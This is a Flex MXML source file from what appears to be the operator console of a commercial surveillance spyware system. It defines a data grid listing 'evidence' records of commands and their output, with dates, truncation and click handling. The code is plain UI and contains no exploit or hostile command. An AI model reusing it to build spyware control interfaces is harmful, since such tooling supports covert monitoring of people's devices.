hackedteam/rcs-console

View on GitHub
src/it/ht/rcs/console/operations/view/commands/CommandsGrid.mxml

Summary

Maintainability
Test Coverage
<?xml version="1.0" encoding="utf-8"?>
<s:DataGrid xmlns:fx="http://ns.adobe.com/mxml/2009"
                        xmlns:s="library://ns.adobe.com/flex/spark"
                        xmlns:mx="library://ns.adobe.com/flex/mx"
                        xmlns:filters="it.ht.rcs.console.operations.view.evidences.filters.*"
                        width="100%"
                        height="100%"
                        sortableColumns="false"
                        variableRowHeight="true"
            doubleClickEnabled="true"
            gridClick="onGridClick(event)"
            gridDoubleClick="onGridDoubleClick(event)" 
            >
  <fx:Metadata> 
    [Event(name="dataChange", type="flash.events.Event")]
    [Event(name="itemDoubleClick", type="spark.events.GridEvent")]
  </fx:Metadata>
    <fx:Script>
        <![CDATA[
      import it.ht.rcs.console.evidence.controller.EvidenceManager;
      import it.ht.rcs.console.utils.TimeUtils;
      
      import locale.R;
      
      import mx.controls.dataGridClasses.DataGridColumn;
      
      import spark.events.GridEvent;

            [Bindable]
            public var filter:Object=EvidenceManager.instance.commandsFilter;
      
      private var lastColumnIndex:int = -1;
      private var lastRowIndex:int = -1;

            private function dateLabelFunction(item:Object, column:GridColumn):String
            {
                return TimeUtils.timestampFormatter(item[column.dataField] * 1000);
            }
      
      private function formatContent(item:Object, column:GridColumn):String
      {
        var cleanContent:String;
        var content:String=item.data.content as String || "";
        var pattern:RegExp=new RegExp("\r\n","g")
        cleanContent=content.replace(pattern, "\n");
        pattern=new RegExp("\n\n","g")
        cleanContent=cleanContent.replace(pattern, "\n");
        //trace("the result is: "+cleanContent);
        
        return cleanContent;
      }
      
      private function onGridClick(e:GridEvent):void
      {
        lastRowIndex = e.rowIndex;
        lastColumnIndex = e.columnIndex;
      }
      
      private function onGridDoubleClick(e:GridEvent):void
      {
        if (e.rowIndex == lastRowIndex && e.columnIndex == lastColumnIndex)
        {
          var ge:GridEvent=new GridEvent("itemDoubleClick",true);
          ge.columnIndex=e.columnIndex;
          ge.column=e.column;
          ge.rowIndex=e.rowIndex
          ge.item=e.item;
          dispatchEvent(ge);
        }
        
        lastRowIndex = e.rowIndex;
        lastColumnIndex = e.columnIndex;
      }
      
      public function scrollDown():void
      {
        //if(this.grid)
       // this.grid.ensureCellIsVisible(this.dataProvider.length-1);
      }
      
      private function truncate(item:Object, column:GridColumn):String
      {
        var s:String;
       if(item.data.command.length>30)
       {
       s=item.data.command.substr(0,29)+"...";
       }
       else
       {
       s=item.data.command
       }
       return s;
      }

      
            //show command and content (evidence.data.command) (evidence.data.content)
        ]]>
    </fx:Script>
    <s:columns>
        <s:ArrayList>

            <s:GridColumn width="130"
                                        dataField="da"
                                        headerText="{R.get('DATE_ACQUIRED')}"
                                        labelFunction="dateLabelFunction"
                                        resizable="false">
                <s:headerRenderer>
                    <fx:Component>
                        <filters:AbstractHeaderRenderer filter="{outerDocument.filter}"
                                                                                        editable="true"
                                                                                        popupFactory="it.ht.rcs.console.operations.view.evidences.filters.DateFilterPopup"/>
                    </fx:Component>
                </s:headerRenderer>
                <s:itemRenderer>

                    <fx:Component>
                        <s:GridItemRenderer>
                            <s:layout>
                                <s:HorizontalLayout verticalAlign="middle"
                                                                        horizontalAlign="left"
                                                                        paddingLeft="6"
                                                                        paddingRight="6"
                                                                        paddingTop="4"/>
                            </s:layout>
                            <s:Label id="labelDisplay"/>
                        </s:GridItemRenderer>
                    </fx:Component>
                </s:itemRenderer>
            </s:GridColumn>

            <s:GridColumn width="130"
                                        dataField="dr"
                                        headerText="{R.get('DATE_RECEIVED')}"
                                        labelFunction="dateLabelFunction"
                                        resizable="false"
                                        editable="false">
        <s:headerRenderer>
          <fx:Component>
            <filters:AbstractHeaderRenderer filter="{outerDocument.filter}"
                                            editable="true"
                                            popupFactory="it.ht.rcs.console.operations.view.evidences.filters.DateFilterPopup"/>
          </fx:Component>
        </s:headerRenderer>
                <s:itemRenderer>

                    <fx:Component>
                        <s:GridItemRenderer>
                            <s:layout>
                                <s:HorizontalLayout verticalAlign="middle"
                                                                        horizontalAlign="left"
                                                                        paddingLeft="6"
                                                                        paddingRight="6"
                                                                        paddingTop="4"/>
                            </s:layout>
                            <s:Label id="labelDisplay"/>
                        </s:GridItemRenderer>
                    </fx:Component>
                </s:itemRenderer>
            </s:GridColumn>
            <s:GridColumn dataField="data.command"
                                        headerText="{R.get('COMMAND')}"
                                        resizable="false" labelFunction="truncate">
        <s:itemRenderer>
          
          <fx:Component>
            <s:GridItemRenderer>
              <s:layout>
                <s:HorizontalLayout verticalAlign="middle"
                                    horizontalAlign="left"
                                    paddingLeft="6"
                                    paddingRight="6"
                                    paddingTop="4"/>
              </s:layout>
              <s:Label id="labelDisplay"/>
            </s:GridItemRenderer>
          </fx:Component>
        </s:itemRenderer>
            </s:GridColumn>
            <s:GridColumn dataField="data.content"
                                        headerText="Output"
                                        resizable="false" labelFunction="formatContent">
                <s:itemRenderer>

                    <fx:Component>
                        <s:GridItemRenderer>
                            <s:layout>
                                <s:HorizontalLayout horizontalAlign="left"
                                                                        verticalAlign="top"
                                                                        paddingBottom="8"
                                                                        paddingLeft="4"
                                                                        paddingRight="4"
                                                                        paddingTop="8"/>
                            </s:layout>
                            <s:Label id="labelDisplay"
                                             maxDisplayedLines="4"/>
                        </s:GridItemRenderer>
                    </fx:Component>
                </s:itemRenderer>
            </s:GridColumn>
        </s:ArrayList>
    </s:columns>

</s:DataGrid>